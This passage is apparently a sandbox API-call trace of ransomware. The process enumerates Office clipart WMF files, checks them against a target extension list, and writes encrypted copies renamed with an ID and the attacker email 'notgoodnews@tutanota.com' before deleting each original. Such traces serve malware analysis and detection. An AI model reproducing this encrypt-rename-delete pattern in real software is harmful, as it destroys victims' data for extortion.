[0174.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.018] lstrlenW (lpString=".1cd") returned 4 [0174.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.018] lstrlenW (lpString=".jpg") returned 4 [0174.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.019] lstrlenW (lpString=".doc") returned 4 [0174.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString=".docx") returned 5 [0174.019] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0174.019] lstrlenW (lpString=".pdf") returned 4 [0174.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString=".xls") returned 4 [0174.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.019] lstrlenW (lpString=".xlsx") returned 5 [0174.019] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.019] lstrlenW (lpString=".ppt") returned 4 [0174.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.019] lstrlenW (lpString=".zip") returned 4 [0174.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.019] lstrlenW (lpString=".rar") returned 4 [0174.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString=".bz2") returned 4 [0174.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString=".7z") returned 3 [0174.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.019] lstrlenW (lpString=".dbf") returned 4 [0174.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.019] lstrlenW (lpString=".1cd") returned 4 [0174.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68 [0174.019] lstrlenW (lpString=".jpg") returned 4 [0174.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.020] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.020] lstrlenW (lpString="J0103262.WMF") returned 12 [0174.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.020] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=12900) returned 1 [0174.020] CloseHandle (hObject=0x4dc) returned 1 [0174.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220 [0174.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.021] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.021] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0174.021] GetLastError () returned 0x0 [0174.021] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3264, lpOverlapped=0x0) returned 1 [0174.024] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3270, lpOverlapped=0x0) returned 1 [0174.025] ReadFile (in: hFile=0x4dc, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.025] WriteFile (in: hFile=0x4f0, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.025] SetEndOfFile (hFile=0x4f0) returned 1 [0174.025] CloseHandle (hObject=0x4f0) returned 1 [0174.025] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.025] SetEndOfFile (hFile=0x4dc) returned 1 [0174.029] CloseHandle (hObject=0x4dc) returned 1 [0174.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0174.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.030] lstrlenW (lpString=".doc") returned 4 [0174.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.030] lstrlenW (lpString=".docx") returned 5 [0174.030] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.030] lstrlenW (lpString=".pdf") returned 4 [0174.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.030] lstrlenW (lpString=".xls") returned 4 [0174.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.030] lstrlenW (lpString=".xlsx") returned 5 [0174.030] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.030] lstrlenW (lpString=".ppt") returned 4 [0174.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.030] lstrlenW (lpString=".zip") returned 4 [0174.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.030] lstrlenW (lpString=".rar") returned 4 [0174.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.030] lstrlenW (lpString=".bz2") returned 4 [0174.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.030] lstrlenW (lpString=".7z") returned 3 [0174.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.030] lstrlenW (lpString=".dbf") returned 4 [0174.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString=".1cd") returned 4 [0174.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString=".jpg") returned 4 [0174.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString=".doc") returned 4 [0174.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString=".docx") returned 5 [0174.031] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.031] lstrlenW (lpString=".pdf") returned 4 [0174.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString=".xls") returned 4 [0174.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.031] lstrlenW (lpString=".xlsx") returned 5 [0174.031] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.031] lstrlenW (lpString=".ppt") returned 4 [0174.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString=".zip") returned 4 [0174.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.031] lstrlenW (lpString=".rar") returned 4 [0174.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString=".bz2") returned 4 [0174.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString=".7z") returned 3 [0174.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString=".dbf") returned 4 [0174.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.031] lstrlenW (lpString=".1cd") returned 4 [0174.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68 [0174.032] lstrlenW (lpString=".jpg") returned 4 [0174.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.032] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.032] lstrlenW (lpString="J0103402.WMF") returned 12 [0174.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.047] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=44948) returned 1 [0174.060] CloseHandle (hObject=0x4dc) returned 1 [0174.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220 [0174.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.071] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.071] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.072] GetLastError () returned 0x0 [0174.072] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xaf94, lpOverlapped=0x0) returned 1 [0174.075] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xafa0, lpOverlapped=0x0) returned 1 [0174.077] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.077] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.077] SetEndOfFile (hFile=0x4dc) returned 1 [0174.077] CloseHandle (hObject=0x4dc) returned 1 [0174.078] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.078] SetEndOfFile (hFile=0x544) returned 1 [0174.081] CloseHandle (hObject=0x544) returned 1 [0174.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0174.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.083] lstrlenW (lpString=".doc") returned 4 [0174.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.083] lstrlenW (lpString=".docx") returned 5 [0174.083] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.083] lstrlenW (lpString=".pdf") returned 4 [0174.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.083] lstrlenW (lpString=".xls") returned 4 [0174.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.083] lstrlenW (lpString=".xlsx") returned 5 [0174.083] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.083] lstrlenW (lpString=".ppt") returned 4 [0174.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.083] lstrlenW (lpString=".zip") returned 4 [0174.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.083] lstrlenW (lpString=".rar") returned 4 [0174.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.083] lstrlenW (lpString=".bz2") returned 4 [0174.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString=".7z") returned 3 [0174.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.084] lstrlenW (lpString=".dbf") returned 4 [0174.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.084] lstrlenW (lpString=".1cd") returned 4 [0174.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.084] lstrlenW (lpString=".jpg") returned 4 [0174.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.084] lstrlenW (lpString=".doc") returned 4 [0174.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString=".docx") returned 5 [0174.084] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.084] lstrlenW (lpString=".pdf") returned 4 [0174.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString=".xls") returned 4 [0174.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.084] lstrlenW (lpString=".xlsx") returned 5 [0174.084] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.084] lstrlenW (lpString=".ppt") returned 4 [0174.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.084] lstrlenW (lpString=".zip") returned 4 [0174.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.084] lstrlenW (lpString=".rar") returned 4 [0174.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString=".bz2") returned 4 [0174.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.084] lstrlenW (lpString=".7z") returned 3 [0174.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.085] lstrlenW (lpString=".dbf") returned 4 [0174.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.085] lstrlenW (lpString=".1cd") returned 4 [0174.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0174.085] lstrlenW (lpString=".jpg") returned 4 [0174.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.085] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.085] lstrlenW (lpString="J0105232.WMF") returned 12 [0174.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.085] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5632) returned 1 [0174.086] CloseHandle (hObject=0x544) returned 1 [0174.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0174.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.086] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.086] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0174.087] GetLastError () returned 0x0 [0174.087] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1600, lpOverlapped=0x0) returned 1 [0174.089] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1610, lpOverlapped=0x0) returned 1 [0174.090] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.090] WriteFile (in: hFile=0x4dc, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.090] SetEndOfFile (hFile=0x4dc) returned 1 [0174.091] CloseHandle (hObject=0x4dc) returned 1 [0174.091] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.091] SetEndOfFile (hFile=0x544) returned 1 [0174.093] CloseHandle (hObject=0x544) returned 1 [0174.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.095] lstrlenW (lpString=".doc") returned 4 [0174.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString=".docx") returned 5 [0174.095] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0174.095] lstrlenW (lpString=".pdf") returned 4 [0174.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString=".xls") returned 4 [0174.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.095] lstrlenW (lpString=".xlsx") returned 5 [0174.095] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0174.095] lstrlenW (lpString=".ppt") returned 4 [0174.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.095] lstrlenW (lpString=".zip") returned 4 [0174.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.095] lstrlenW (lpString=".rar") returned 4 [0174.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString=".bz2") returned 4 [0174.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString=".7z") returned 3 [0174.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.095] lstrlenW (lpString=".dbf") returned 4 [0174.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0174.095] lstrlenW (lpString=".1cd") returned 4 [0174.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.095] lstrlenW (lpString="C:\\Program Files\\Microsoft 